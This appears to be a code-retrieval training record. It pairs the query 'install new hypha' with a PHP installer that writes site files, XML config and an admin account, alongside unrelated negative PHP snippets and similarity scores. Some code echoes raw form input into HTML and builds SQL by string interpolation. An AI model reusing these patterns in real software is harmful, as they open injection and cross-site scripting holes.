class=\"input-group\" id=\"rename-fieldset\">'\n . '<div class=\"input-group-prepend\">\n <button class=\"btn btn-secondary\" type=\"submit\"><i class=\"fa fa-dot-circle\"></i> '\n . '<i class=\"fa fa-i-cursor\"></i> ' . $this->tableAdmin->translate('Rename') . '</button>\n </div>'\n . Tools::htmlInput('new_name', '', '', ['class' => 'form-control', 'id' => 'new_name'])\n . '</div></fieldset>\n </form></div>' . PHP_EOL;\n $output .= count($found)\n ? ('<h2 class=\"mt-4\">' . $this->tableAdmin->translate('Missing translations in templates') . '</h2><ul>')\n : '';\n foreach ($found as $value) {\n $output .= '<li><code>' . Tools::h($value) . '</code></li>' . PHP_EOL;\n }\n $output .= count($found) ? '</ul>' : '';\n return $output;\n }", "function getFileForStep($a_version)\n\t{\n\t\t//\n\t\t// NOTE: IF YOU ADD A NEW FILE HERE, CHANGE ALSO THE CONSTRUCTOR\n\t\t//\n\t\tif ((int)$a_version > 4182)\t\t// last number in previous file\n\t\t{\n\t\t\treturn \"dbupdate_04.php\";\n\t\t}\n\t\telse if ((int)$a_version > 2948)\t\t// last number in previous file\n\t\t{\n\t\t\treturn \"dbupdate_03.php\";\n\t\t}\n\t\telse if ((int)$a_version > 864)\t\t// last number in previous file\n\t\t{\n\t\t\treturn \"dbupdate_02.php\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn \"dbupdate.php\";\n\t\t}\n\t}", "function enh_latest_news_html($mod_id, $nl_url, $ModName) {\n\n// get vars\n $prefix = pnConfigGetVar('prefix');\t\t\n list($dbconn) = pnDBGetConn();\n\t $pntable =& pnDBGetTables();\n\t\n $bgcolor1 = \"#0056A7\";\n\t $bgcolor2 = \"#d8e1ea\";\n\n\t $language = pnConfigGetVar('language');\n\n// name the lang file the same as this file\n\t include(\"modules/$ModName/modules/lang/$language/enhnews.php\");\n\n// get the module setting from the database\n\t $modsql = \"SELECT mod_qty, mod_data FROM $prefix\"._nl_modules.\" WHERE mod_id = '$mod_id'\";\n\t\t$result = $dbconn->Execute($modsql);\n\t if ($dbconn->ErrorNo() != 0) {\n\t\t echo _DBREADERROR;\n\t }\n if (!$result->EOF) {\n\t list($mod_qty, $mod_data) = $result->fields;\n } else {\n\t\t // take care od errors?\n\t\t}\n// clear the output variable\n// title of the page to show up\n\t $output = \"<b>\"._ENHLATESTARTICLES.\":</b><br><br>\\n\";\n\n// query the database and generate your output in the amount of mod_qty\n\t $sql = \"SELECT pn_sid, pn_title, pn_hometext, pn_bodytext, pn_informant, pn_time \n\t\t FROM $pntable[stories] \n\t\t WHERE pn_ihome = '0' ORDER BY pn_time DESC limit 0,$mod_qty\";\n\n\t\t$result = $dbconn->Execute($sql);\n\t if ($dbconn->ErrorNo() != 0) {\n\t\t echo _DBREADERROR;\n\t }\n\t\t\t\t\t\t\n while(!$result->EOF) {\n\t\t list($pn_sid, $pn_title, $pn_hometext, $pn_bodytext, $pn_informant, $pn_time) = $result->fields;\n\t\t\t\t$result->MoveNext(); \n\t $output .= \"<table border=\\\"0\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" width=\\\"100%\\\"><tr><td bgcolor=\\\"$bgcolor1\\\">\\n\";\n\t $output .= \"<table border=\\\"0\\\" cellpadding=\\\"0\\\" cellspacing=\\\"1\\\" width=\\\"100%\\\"><tr><td bgcolor=\\\"$bgcolor2\\\">\\n\";\n\t $output .= \"<table border=\\\"0\\\" cellpadding=\\\"4\\\" cellspacing=\\\"0\\\" width=\\\"100%\\\"><tr><td bgcolor=\\\"$bgcolor2\\\">\\n\";\n\t $output .= \"<img src=\\\"$nl_url/modules/$ModName/modules/images/enhnews/off.gif\\\" border=\\\"0\\\"></td><td width=\\\"100%\\\" bgcolor=\\\"$bgcolor2\\\"><b>&nbsp;<a href=\\\"$nl_url/modules.php?op=modload&name=News&file=article&sid=$pn_sid\\\" target=\\\"_blank\\\"><font style=\\\"FONT-SIZE: 13px\\\"><b>$pn_title</b></a></font></b></td></tr>\\n\";\n\t $output .= \"<tr><td colspan=\\\"2\\\" bgcolor=\\\"$bgcolor2\\\"><br>\\n\";\n\t $output .= \"<table border=\\\"0\\\" width=\\\"98%\\\" bgcolor=\\\"$bgcolor2\\\" align=\\\"center\\\"><tr><td>\\n\";\n \t $output .= \"<font style=\\\"FONT-SIZE: 11px\\\">$pn_hometext</font>\\n\";\n \t $output .= \"</td></tr></table>\\n\";\n\t $output .= \"</td></tr></table><br>\\n\";\n\t $output .= \"</td></tr><tr><td bgcolor=\\\"$bgcolor2\\\" align=\\\"left\\\">\\n\";\n $output .= \"&nbsp\";\n\t $output .= \"<font style=\\\"FONT-SIZE: 10px\\\"><b>\"._POSTEDBY.\": $pn_informant \"._ON.\" $pn_time</font><br>\";\n\t if ($pn_bodytext) {\n\t\t $output .= \"<div align=\\\"right\\\"><font style=\\\"FONT-SIZE: 11px\\\"><a href=\\\"$nl_url/modules.php?op=modload&name=News&file=article&sid=$pn_sid\\\" target=\\\"_blank\\\">\"._READMORE.\"</a></font>&nbsp;&nbsp;</div>\\n\";\n\t\t }\n\t $output .= \"<img src=\\\"$nl_url/modules/$ModName/modules/images/enhnews/pixel.gif\\\" border=\\\"0\\\" height=\\\"2\\\">\";\n\t $output .= \"</td></tr></table>\\n\";\n\t $output .= \"</td></tr></table><br>\\n\";\n }\n\n// strip the slashes out all at once\n\t $output = stripslashes($output);\n\n// send the output to the system (it must be output and not another variable name)\n\t return $output;\n}", "function do_server_info()\n{\n global $datasets; // from require_once \"../analysis/common/functions.php\"\n\n if (!isset($datasets)) {\n $datasets = []; // database tables not yet initialized\n }\n\n $server_roles = unserialize(CAPTUREROLES);\n\n $response_mediatype = choose_mediatype(['application/json', 'text/html',\n 'text/plain']);\n\n switch ($response_mediatype) {\n case 'application/json':\n $obj = array( 'roles' => $server_roles );\n respond_with_json($obj);\n // respond_with_json(array_keys($datasets));\n break;\n case 'text/html':\n html_begin(\"Server information\", [[\"Server information\"]]);\n\n if (count($server_roles) == 0) {\n echo \" <p>This TCAT instance is currently not tracking anything.</p>\\n\";\n } else {\n echo \" <p>Tracking roles:</p>\\n\";\n echo \" <ul>\\n\";\n\n foreach ($server_roles as $role) {\n echo \"<li>$role</li>\\n\";\n }\n\n echo \" </ul>\\n\";\n }\n\n html_end();\n break;\n\n case 'text/plain':\n default:\n print \"SERVER ROLES: \";\n if (count($server_roles) == 0) {\n print \"none\";\n } else {\n foreach ($server_roles as $role) {\n print($role . \" \");\n }\n }\n print \"\\n\";\n break;\n }\n}", "function ppom_generate_html_for_files( $file_names, $input_type, $item ) {\n\t\n\t$file_name_array = explode(',', $file_names);\n\t\n\t$order_html = '<table>';\n\tforeach($file_name_array as $file_name) {\n\t\t\n\t\t\t$file_edit_path = ppom_get_dir_path('edits').ppom_file_get_name($file_name, $item->get_product_id());\n\t\t\t\n\t\t\t// Making file thumb download with new path\n\t\t\t$ppom_file_url = ppom_get_file_download_url( $file_name, $item->get_order_id(), $item->get_product_id());\n\t\t\t$ppom_file_thumb_url = ppom_is_file_image($file_name) ? ppom_get_dir_url(true) . $file_name : PPOM_URL.'/images/file.png';\n\t\t\t$order_html .= '<tr><td><a href=\"'.esc_url($ppom_file_url).'\">';\n\t\t\t$order_html .= '<img class=\"img-thumbnail\" style=\"width:'.esc_attr(ppom_get_thumbs_size()).'\" src=\"'.esc_url($ppom_file_thumb_url).'\">';\n\t\t\t$order_html .= '</a></td>';\n\t\t\t\n\t\t\t\n\t\t\t// Requested by Kevin, hiding downloading file button after order on thank you page\n\t\t\t// @since version 16.6\n\t\t\tif( is_admin() ) {\n\t\t\t\t$order_html .= '<td><a class=\"button\" href=\"'.esc_url($ppom_file_url).'\">';\n\t\t\t\t$order_html .= __('Download File', 'ppom');\n\t\t\t\t$order_html .= '</a></td>';\n\t\t\t}\n\t\t\t$order_html .= '</tr>';\n\t\t\t\n\t\t\tif( $input_type == 'cropper' ) {\n\t\t\t\t\n\t\t\t\t\t$cropped_file_name = ppom_file_get_name($file_name, $item->get_product_id());\n\t\t\t\t\t$cropped_url = ppom_get_dir_url() . 'cropped/' . $cropped_file_name;\n\t\t\t\t\t$order_html .= '<tr><td><a href=\"'.esc_url($cropped_url).'\">';\n\t\t\t\t\t$order_html .= '<img style=\"width:'.esc_attr(ppom_get_thumbs_size()).'\" class=\"img-thumbnail\" src=\"'.esc_url($cropped_url).'\">';\n\t\t\t\t\t$order_html .= '</a></td>';\n\t\t\t\t\t\n\t\t\t\t\t// Requested by Kevin, hiding downloading file button after order on thank you page\n\t\t\t\t\t// @since version 16.6\n\t\t\t\t\tif( is_admin() ) {\n\t\t\t\t\t\t$order_html .= '<td><a class=\"button\" href=\"'.esc_url($cropped_url).'\">';\n\t\t\t\t\t\t$order_html .= __('Cropped', 'ppom');\n\t\t\t\t\t\t$order_html .= '</a></td>';\n\t\t\t\t\t}\n\t\t\t\t\t$order_html .= '</tr>';\n\t\t\t\t\t\n\t\t\t} elseif( file_exists($file_edit_path) ) {\n\t\t\t\t\n\t\t\t\t$edit_file_name = ppom_file_get_name($file_name, $item->get_product_id());\n\t\t\t\t$edit_url = ppom_get_dir_url() . 'edits/' . $edit_file_name;\n\t\t\t\t$edit_thumb_url = ppom_get_dir_url() . 'edits/thumbs/' . $file_name;\n\t\t\t\t$order_html .= '<tr><td><a href=\"'.esc_url($edit_url).'\">';\n\t\t\t\t$order_html .= '<img style=\"width:'.esc_attr(ppom_get_thumbs_size()).'\" class=\"img-thumbnail\" src=\"'.esc_url($edit_thumb_url).'\">';\n\t\t\t\t$order_html .= '</a></td>';\n\t\t\t\t$order_html .= '<td><a class=\"button\" href=\"'.esc_url($edit_url).'\">';\n\t\t\t\t$order_html .= __('Edited', 'ppom');\n\t\t\t\t$order_html .= '</a></td></tr>';\n\t\t\t}\n\t}\n\t$order_html .= '</table>';\n\t\n\treturn apply_filters('ppom_order_files_html', $order_html, $file_names, $input_type, $item);\n}", "public function generate()\n {\n if (TL_MODE == 'BE')\n {\n /** @var \\BackendTemplate|object $objTemplate */\n $objTemplate = new \\BackendTemplate('be_wildcard');\n\n $objTemplate->wildcard = '### ' . utf8_strtoupper($GLOBALS['TL_LANG']['FMD']['fiba_systemvergleich'][0]) . ' ###';\n $objTemplate->title = $this->headline;\n $objTemplate->id = $this->id;\n $objTemplate->link = $this->name;\n $objTemplate->href = 'contao/main.php?do=themes&amp;table=tl_module&amp;act=edit&amp;id=' . $this->id;\n\n return $objTemplate->parse();\n }\n\n if (\\Environment::get('isAjaxRequest') && \\Input::post('FORM_SUBMIT') === 'systemvergleichForm')\n {\n // Bypass Search Index for Ajax calls to prevent duplicate content error\n global $objPage;\n $objPage->noSearch = 1;\n\n $json = array();\n $json['status'] = 'error';\n\n $errorlevel = 0;\n foreach($_POST as $k => $v)\n {\n $json[$k] = \\Input::post($k);\n }\n\n $objDb1 = \\Database::getInstance()->prepare('SELECT * FROM tl_fiba_systemvergleich WHERE system=? AND laufzeit LIKE ? AND kosten LIKE ?')->limit(1)->execute('Fondssparplan', \\Input::post('fondssparplan_laufzeit'), \\Input::post('fondssparplan_kosten'));\n if ($objDb1->numRows)\n {\n $json['fondssparplan_laufzeit'] = $objDb1->laufzeit;\n $json['fondssparplan_kosten'] = $objDb1->kosten;\n $json['fondssparplan_ablaufleistung'] = $objDb1->ablaufleistung;\n $errorlevel++;\n }\n\n $objDb2 = \\Database::getInstance()->prepare('SELECT * FROM tl_fiba_systemvergleich WHERE system=? AND laufzeit LIKE ? AND kosten LIKE ?')->limit(1)->execute('Fondspolice', \\Input::post('fondspolice_laufzeit'), \\Input::post('fondspolice_kosten'));\n if ($objDb2->numRows)\n {\n $json['fondspolice_laufzeit'] = $objDb2->laufzeit;\n $json['fondspolice_kosten'] = $objDb2->kosten;\n $json['fondspolice_ablaufleistung'] = $objDb2->ablaufleistung;\n $errorlevel++;\n\n $objDb3 = \\Database::getInstance()->prepare('SELECT * FROM tl_fiba_systemvergleich WHERE system=? AND laufzeit LIKE ? AND kosten LIKE ?')->limit(1)->execute('Rentenkapital', \\Input::post('fondspolice_laufzeit'), \\Input::post('fondspolice_kosten'));\n if ($objDb3->numRows)\n {\n $json['rentenkapital_laufzeit'] = $objDb3->laufzeit;\n $json['rentenkapital_kosten'] = $objDb3->kosten;\n $json['rentenkapital_ablaufleistung'] = $objDb3->ablaufleistung;\n $errorlevel++;\n }\n }\n\n if ($errorlevel == 3)\n {\n $json['status'] = 'success';\n }\n\n\n echo json_encode($json);\n exit;\n }\n\n return parent::generate();\n }", "function sys_change_go($rows, $result_total){\r\n // $ids is combi: id form # id row\r\n $action = $_POST[\"action\"];\r\n $column_new = $_POST[\"column_new\"];\r\n $std_value = $_POST[\"field_value\"];\r\n $alert = \"\";\r\n switch($action){\r\n case \"1\":\r\n // $target_file, $target_columnname, $type, $column, $pos, $std_value\r\n $alert .= sys_change_go__add_column(\"d_sys_view.txt\", \"map_file\", \"\", $column_new, $_POST[\"action_view_add\"], $std_value);\r\n break;\r\n case \"2\":\r\n $alert .= sys_change_go__delete_column(\"d_sys_view.txt\", \"map_file\", \"\", $_POST[\"action_view_del\"]);\r\n break;\r\n case \"3\":\r\n $alert .= sys_change_go__add_column(\"d_sys_model.txt\", \"map_file\", \"get\", $column_new, $_POST[\"action_model_get_add\"], $std_value);\r\n break;\r\n case \"4\":\r\n $alert .= sys_change_go__delete_column(\"d_sys_model.txt\", \"map_file\", \"get\", $_POST[\"action_model_get_del\"]);\r\n break;\r\n case \"5\":\r\n $alert .= sys_change_go__add_column(\"d_sys_model.txt\", \"map_file\", \"put\", $column_new, $_POST[\"action_model_put_add\"], $std_value);\r\n break;\r\n case \"6\":\r\n $alert .= sys_change_go__delete_column(\"d_sys_model.txt\", \"map_file\", \"put\", $_POST[\"action_model_put_del\"]);\r\n break;\r\n case \"7\":\r\n $alert .= sys_change_go__rewrite(\"d_sys_view.txt\", \"map_file\");\r\n $alert .= sys_change_go__rewrite(\"d_sys_model.txt\", \"map_file\");\r\n break;\r\n }\r\n $result_total[\"alert\"][\"text\"] .= $alert;\r\n return $result_total;\r\n}", "public function Index() {\n\t\t$this->checkLogin();\n\n\t\t$servicesCheckVersionUrl = $this->Setting->get('services_check_version_url');\n\t\t$servicesData = @file_get_contents($servicesCheckVersionUrl);\n\t\tif (!$servicesData) {\n\t\t\tdie('Network error, can not load newest version from cloud!');\n\t\t}\n\t\t$servicesData = json_decode($servicesData);\n\t\tif (!$servicesData OR !is_object($servicesData) OR !$servicesData->current_version) {\n\t\t\tdie('Cloud data error! Please try again!');\n\n\t\t}\n\t\t$servicesVersion = $servicesData->current_version;\n\t\t$currentVerion = $this->Setting->get('version');\n\n\t\t$compare = version_compare($servicesVersion, $currentVerion);\n\n\t\tif ($compare < 0) {\n\t\t\tdie('Opp! System things you have some problem!');\n\t\t}\n\n\t\tif ($compare == 0) {\n\t\t\tdie('No thing to update, your system is current newest verion, relaxing!');\n\t\t}\n\n\t\t$downloadFile = $servicesData->file;\n\t\tif (!$this->_downloadUpdatePack($downloadFile)) {\n\t\t\tdie('System can not reach to update pack :( ');\n\t\t}\n\n\t\tprint_r($compare);die;\n\t}", "function list_history_lab()\r\n {\r\n $data['offline_mode']\t\t=\t$this->config->item('offline_mode');\r\n $data['debug_mode']\t\t =\t$this->config->item('debug_mode');\r\n\t\t$data['patient_id'] = $this->uri->segment(3);\r\n $data['patient_info'] = $this->memr_rdb->get_patient_details($data['patient_id']);\r\n $data['patient_info']['name'] = $data['patient_info']['patient_name'];\r\n \t\t$data['title'] = \"PR-\".$data['patient_info']['name'];\r\n $data['tests_list'] = $this->memr_rdb->get_recent_lab($data['patient_id']);\r\n\t\t$this->load->vars($data);\r\n\t\tif ($_SESSION['thirra_mode'] == \"ehr_mobile\"){\r\n $new_header = \"ehr/header_xhtml-mobile10\";\r\n $new_banner = \"ehr/banner_ehr_ovrvw_wap\";\r\n $new_sidebar= \"ehr/sidebar_ehr_patients_ovrvw_wap\";\r\n //$new_body = \"ehr/ehr_indv_list_history_vitals_wap\";\r\n $new_body = \"ehr/ehr_indv_list_history_lab_html\";\r\n $new_footer = \"ehr/footer_emr_wap\";\r\n\t\t} else {\r\n //$new_header = \"ehr/header_xhtml1-strict\";\r\n $new_header = \"ehr/header_xhtml1-transitional\";\r\n $new_banner = \"ehr/banner_ehr_ovrvw_html\";\r\n $new_sidebar= \"ehr/sidebar_ehr_patients_ovrvw_html\";\r\n $new_body = \"ehr/ehr_indv_list_history_lab_html\";\r\n $new_footer = \"ehr/footer_emr_html\";\r\n\t\t}\r\n\t\t$this->load->view($new_header);\t\t\t\r\n\t\t$this->load->view($new_banner);\t\t\t\r\n\t\t$this->load->view($new_sidebar);\t\t\t\r\n\t\t$this->load->view($new_body);\t\t\t\r\n\t\t$this->load->view($new_footer);\t\t\r\n\t\t\r\n }", "function getSeoFiles($mission=array())\n\t{\n\t\t$exploded_file_paths = array_filter(explode(\"|\",$mission['documents_path']));\n\t\t$exploded_file_names = explode(\"|\",$mission['documents_name']);\n\t\t$zip = \"\";\n\t\t\n\t\t\n\t\t\n\t\t$files = '<table class=\"table\">'.$zip;\n\t\t$k=0;\n\t\tif($mission['delete']):\n\t\tforeach($exploded_file_paths as $row)\n\t\t{\n\t\t\t$file_path=$this->mission_documents_path.$row;\n\t\t\tif(file_exists($file_path) && !is_dir($file_path))\n\t\t\t{\n\t\t\t\t\t$zip = true;\n\t\t\t\t\t$fname = $exploded_file_names[$k];\n\t\t\t\t\tif($fname==\"\")\n\t\t\t\t\t\t$fname = basename($row);\n\t\t\t\t\t$ofilename = pathinfo($file_path);\n\t\t\t\t\t$files .= '<tr><td width=\"30%\">'.$fname.'</td><td width=\"35%\">'.substr($ofilename['filename'],0,-3).\".\".$ofilename['extension'].'</td><td width=\"20%\">'.formatSizeUnits(filesize($file_path)).'</td><td>SEO</td><td align=\"center\" width=\"15%\"><a href=\"/quote/download-document?type=seo_mission&mission_id='.$mission['id'].'&index='.$k.'\"><i style=\"margin-right:5px\" class=\"splashy-download\"></i></a><span class=\"delete\" rel=\"'.$k.'_'.$mission['id'].'\"> <i class=\"icon-adt_trash\"></i></span></td></tr>';\t\n\t\t\t\t\t\n\t\t\t}\n\t\t\t$k++;\n\t\t} \n\t\t\n\t\telse:\n\t\tforeach($exploded_file_paths as $row)\n\t\t{\n\t\t\t$file_path=$this->mission_documents_path.$row;\n\t\t\tif(file_exists($file_path) && !is_dir($file_path))\n\t\t\t{\n\t\t\t\t\t$zip = true;\n\t\t\t\t\t$fname = $exploded_file_names[$k];\n\t\t\t\t\tif($fname==\"\")\n\t\t\t\t\t\t$fname = basename($row);\n\t\t\t\t\t$ofilename = pathinfo($file_path);\n\t\t\t\t\t$files .= '<tr><td width=\"30%\">'.$fname.'</td><td width=\"35%\">'.substr($ofilename['filename'],0,-3).\".\".$ofilename['extension'].'</td><td width=\"20%\">'.formatSizeUnits(filesize($file_path)).'</td><td>SEO</td><td align=\"center\" width=\"15%\"><a href=\"/quote/download-document?type=seo_mission&mission_id='.$mission['id'].'&index='.$k.'\"><i style=\"margin-right:5px\" class=\"splashy-download\"></i></a></td></tr>';\t\n\t\t\t\t\t\n\t\t\t}\n\t\t\t$k++;\n\t\t} \n\t\t\n\t\tendif;\n\t\tif($zip)\n\t\t\t$zip = '<thead><tr><td colspan=\"5\"><a href=\"/quote/download-document?type=seo_mission&index=-1&mission_id='.$mission['id'].'\" class=\"btn btn-small pull-right\">Download Zip</a></td></tr></thead>';\n\t\t$files .= $zip.'</table>';\n\t\treturn $files;\n\t}" ]
[ "0.5896481", "0.574359", "0.57088673", "0.5664245", "0.5571651", "0.5555847", "0.55236053", "0.55213886", "0.54514915", "0.5437935", "0.5396095", "0.53941524", "0.5381396", "0.5348468", "0.5346898", "0.5336269", "0.5310747", "0.5294862", "0.52886534", "0.527385", "0.522084", "0.52089655", "0.51808673", "0.51738167", "0.5155043", "0.51523596", "0.5150812", "0.51413953", "0.5134173", "0.51311487", "0.51257545", "0.5100956", "0.50941813", "0.5092925", "0.5092115", "0.5084339", "0.5080945", "0.5076986", "0.5072323", "0.5066224", "0.5059236", "0.5056328", "0.50520074", "0.50492626", "0.5045547", "0.5040557", "0.5039501", "0.5038329", "0.50363046", "0.50123805", "0.50078946", "0.500414", "0.50035465", "0.50031304", "0.4995394", "0.49856403", "0.4983988", "0.4982462", "0.49805006", "0.4971171", "0.49670506", "0.49656478", "0.4953634", "0.49509922", "0.4948782", "0.4943307", "0.49400312", "0.4939469", "0.4938945", "0.4933518", "0.49296063", "0.49259043", "0.49190807", "0.49179146", "0.49163985", "0.49111694", "0.4909614", "0.49085975", "0.4904662", "0.49036673", "0.49032193", "0.49018544", "0.48984814", "0.48976287", "0.4895994", "0.4895055", "0.489261", "0.48922822", "0.48870486", "0.48858047", "0.48824638", "0.4876141", "0.4872138", "0.4869196", "0.4859155", "0.4857761", "0.48505753", "0.4839186", "0.4837154", "0.48361668" ]
0.74232733
0
/ Function: install install new hypha
function install() { global $errorMessage; if ($_POST['command'] == 'install' && is_writable('.')) { // upzip and install files $files = explode(',', data('index')); foreach ($files as $file) { if (!$file) continue; $path = pathinfo($file); $dir = explode('/', $path['dirname']); $folder = ''; foreach($dir as $d) { $folder.= ($folder ? '/' : '').$d; if (!file_exists($folder)) mkdir($folder, 0755); } file_put_contents($file, data($file)); chmod($file, 0664); } // Needed for password hashing require_once('system/core/crypto.php'); // create data folders mkdir('data/pages', 0755); mkdir('data/images', 0755); // create default page $id = uniqid(); $xml = new DomDocument('1.0', 'UTF-8'); $xml->preserveWhiteSpace = false; $xml->formatOutput = true; $hypha = $xml->createElement('hypha'); $hypha->setAttribute('type', 'textpage'); $hypha->setAttribute('multiLingual', 'on'); $hypha->setAttribute('versions', 'on'); $hypha->setAttribute('schemaVersion', 1); $language = $xml->createElement('language', ''); $language->setAttribute('xml:id', $_POST['setupDefaultLanguage']); $version = $xml->createElement('version', '<p>welcome to your brand new hypha website.</p>'); $version->setAttribute('xml:id', 't'.time()); $version->setAttribute('author', ''); setNodeHtml($version, '<p>welcome to your brand new hypha website.</p>'); $language->appendChild($version); $hypha->appendChild($language); $xml->appendChild($hypha); $xml->save('data/pages/'.$id); // build hypha.xml $xml = new DomDocument('1.0', 'UTF-8'); $xml->preserveWhiteSpace = false; $xml->formatOutput = true; $hypha = $xml->createElement('hypha'); $hypha->setAttribute('type', 'project'); $hypha->setAttribute('defaultLanguage', $_POST['setupDefaultLanguage']); $hypha->setAttribute('defaultPage', $_POST['setupDefaultPage']); $hypha->setAttribute('email', $_POST['setupEmail']); $hypha->setAttribute('digestInterval', '21600'); $hypha->setAttribute('schemaVersion', 1); $hypha->appendChild($xml->createElement('title', $_POST['setupTitle'])); $header = $xml->createElement('header', $_POST['setupTitle']); $hypha->appendChild($header); $footer = $xml->createElement('footer', ''); setNodeHtml($footer, '<a href="http://creativecommons.org/licenses/by-sa/3.0/"><img alt="Creative Commons License" style="border-width: 0pt; float: right; margin-left: 5px;" src="//i.creativecommons.org/l/by-sa/3.0/88x31.png" /></a> This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-ShareAlike 3.0 Unported License</a>. Website powered by <a href="http://www.hypha.net">hypha</a>.'); $hypha->appendChild($footer); $menu = $xml->createElement('menu', ''); setNodeHtml($menu, '<a href="hypha:'.$id.'"/>'); $hypha->appendChild($menu); $userList = $xml->createElement('userList', ''); $user = $xml->createElement('user', ''); $user->setAttribute('id', uniqid()); $user->setAttribute('username', $_POST['setupUsername']); $user->setAttribute('password', hashPassword($_POST['setupPassword'])); $user->setAttribute('fullname', $_POST['setupFullname']); $user->setAttribute('email', $_POST['setupEmail']); $user->setAttribute('rights', 'admin'); $userList->appendChild($user); $hypha->appendChild($userList); $pageList = $xml->createElement('pageList', ''); $page = $xml->createElement('page', ''); $page->setAttribute('id', $id); $page->setAttribute('type', 'textpage'); $page->setAttribute('private', 'off'); $language = $xml->createElement('language', ''); $language->setAttribute('id', $_POST['setupDefaultLanguage']); $language->setAttribute('name', $_POST['setupDefaultPage']); $page->appendChild($language); $pageList->appendChild($page); $hypha->appendChild($pageList); $hypha->appendChild($xml->createElement('digest', '')); $xml->appendChild($hypha); $xml->save('data/hypha.xml'); // goto hypha site header('Location: '.$_POST['setupBaseUrl']); exit; } else { if (!is_writable('.')) $errorMessage.= 'php has no write access to the hypa installation directory on the server<br/>'; // extract list of languages $iso639 = json_decode(data('system/languages/languages.json'), true); $languageOptionList = ''; foreach($iso639 as $code => $langName) $languageOptionList.= '<option value="'.$code.'"'.( $code=='en' ? ' selected' : '').'>'.$code.': '.$langName.'</option>'; // build html ob_start(); ?> <div style="width:800px;"> <h1>hypha installer</h1> In order to set up this new hypha site you need to fill out a few things. This is a once only procedure. The entered data will be used to create some folders, include scripts and config files in the folder where the hypha script resides. <h2>system configuration</h2> The following settings are used to set up your project website. All settings can be changed after the initial installation.<br/> <table style="width:800px;" class="section"> <tr><td width="240"></td><td></td><td width="400"></td></tr> <tr><th>title</th><td><input name="setupTitle" size="40" value="<?=$_POST['setupTitle'];?>" /></td><td class="help">The name of your site as it will appear in the browers title bar.</td></tr> <tr><th>base url</th><td><input name="setupBaseUrl" size="40" value="http://<?=$_SERVER["SERVER_NAME"].str_replace('/hypha.php', '', $_SERVER["REQUEST_URI"])?>" /></td><td class="help">This is the address where the hypha site can be found.</td></tr> <tr><th>default page</th><td><input name="setupDefaultPage" size="40" value="home" value="<?=$_POST['setupDefaultPage'];?>" /></td><td class="help">Hypha lets you create wiki style pages which can link to each other. If no particular page is selected the site will default to this page.</td></tr> <tr><th>default language</th><td><select name="setupDefaultLanguage"><?=$languageOptionList?></select></td><td class="help">All pages can be multilingual. If a user does not choose a language the site will default to this language.</td></tr> <tr><th>login</th><td><input name="setupUsername" size="40" value="<?=$_POST['setupUsername'];?>" /></td><td class="help">This first user account will automatically have admin rights for site maintenance.</td></tr> <tr><th>password</th><td><input name="setupPassword" size="40" value="<?=$_POST['setupPassword'];?>" /></td><td class="help">The superuser password.</td></tr> <tr><th>full name</th><td><input name="setupFullname" size="40" value="<?=$_POST['setupFullname'];?>" /></td><td class="help">This name will be used for email messages generated by the system.</td></tr> <tr><th>email</th><td><input name="setupEmail" size="40" value="<?=$_POST['setupEmail'];?>" /></td><td class="help">This email adress will be the reply-to address of system sent messages. You may want to use an email alias that forwards messages to all collaborators in the group.</td></tr> <tr><td colspan="3" style="text-align:right;"><input type="submit" name="command" value="install" /></td></tr> </table> </div> <?php return ob_get_clean(); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function install() {}", "function install(){}", "public function install();", "public function install();", "function install()\n {\n }", "public function install(){\r\n\t\t\r\n\t}", "public function install() {\n\n\n }", "public static function install(){\n\t}", "public function install() {\r\n \r\n }", "public function install()\n {\n }", "public function install()\n {\n }", "function install() {\n\t\tsafe_query('DELETE FROM '.safe_pfx('txp_prefs').' WHERE name LIKE \"wlk_phsb_%\"');\n\t\tsafe_insert('txp_prefs',\"prefs_id = '1',name = 'wlk_phsb_notifications_instant',val = '1',type = '1',event = 'wlk_phsb',html = 'yesnoradio',position = '10',user_name = ''\");\n\t\tsafe_insert('txp_prefs',\"prefs_id = '1',name = 'wlk_phsb_endpoints',val = '\".implode(\"\\n\", $this->vars['endpoints']).\"',type = '1',event = 'wlk_phsb',html = 'wlk_phsb_textarea',position = '60',user_name = ''\");\n\t}", "protected function install(){ return true;}", "function havp_install() {\n\tupdate_status(\"HAVP check system ...\\n\");\n\thavp_check_system();\n\t// Remove stale scripts\n\tunlink_if_exists(HVDEF_SCRIPT_DIR . \"/havp\");\n\tunlink_if_exists(HVDEF_SCRIPT_DIR . \"/clamd.sh\");\n\n\thavp_avset_resync();\n\thavp_update_AV();\n\n\tupdate_status(\"Starting update of AV databases. Wait 5-20 min before use ...\");\n}", "public function install(){\n // Create plugin tables\n Project::createTable();\n\n Repo::createTable();\n\n CommitCache::createTable();\n\n MergeRequest::createTable();\n\n MergeRequestComment::createTable();\n\n $htracker = PLugin::get('h-tracker');\n if($htracker && !$htracker->isInstalled()) {\n $htracker->install();\n }\n\n // Create permissions\n Permission::add($this->_plugin . '.access-plugin', 1, 0);\n Permission::add($this->_plugin . '.create-projects', 0, 0);\n }", "abstract public function installVirtuoso();", "public function install()\n {\n $this->initConfig();\n $this->loadConfig();\n $this->config['installed']=ASTAT_VERSION2;\n $this->config['newInstall']='y';\n $this->saveConfig();\n\n GPCCore::register($this->getPluginName(), ASTAT_VERSION, ASTAT_GPC_NEEDED);\n\n return(true);\n }", "public function install(){\n\n\t\t$model = Advertikon::getCurrentModel();\n\n\t\ttry {\n\t\t\t$this->_checkCompatibility();\n\t\t}\n\t\tcatch( Exception\\Transport $e ) {\n\t\t\t$this->errorPage( $e->getData() , 424 , 'Failed Dependency' );\n\t\t}\n\n\t\t$this->_install();\n\n\t\t$config = Advertikon::getXmlConfig();\n\t\t$settingsModel = Advertikon::getExtendedModel( 'setting_setting' );\n\t\t$settings = $model->stripPrefix( $settingsModel->getSetting() );\n\t\t$model->merge( $settings , $config->getValues( '/' ) );\n\t\t$settingsModel->editSetting( $settings );\n\n\t\t//mark the extension as installed\n\t\tAdvertikon::getExtendedModel( 'setting_setting' )->setSettingValue( 'installed' , 1 );\n\t}", "function insta_f_install(){\n}", "public function install()\n {\n $this->installClasses();\n $this->command();\n $this->markInstalled();\n //or call parent::install(); \n }", "abstract public function installPhp();", "function xh_install($db_name)\r\n\t{\r\n\t}", "public function install () {\n\t\t$this->_log_version_number();\n\t}", "function install($data='') {\r\n parent::install();\r\n }", "function install($data='') {\r\n parent::install();\r\n }", "public function install(){\n\n return 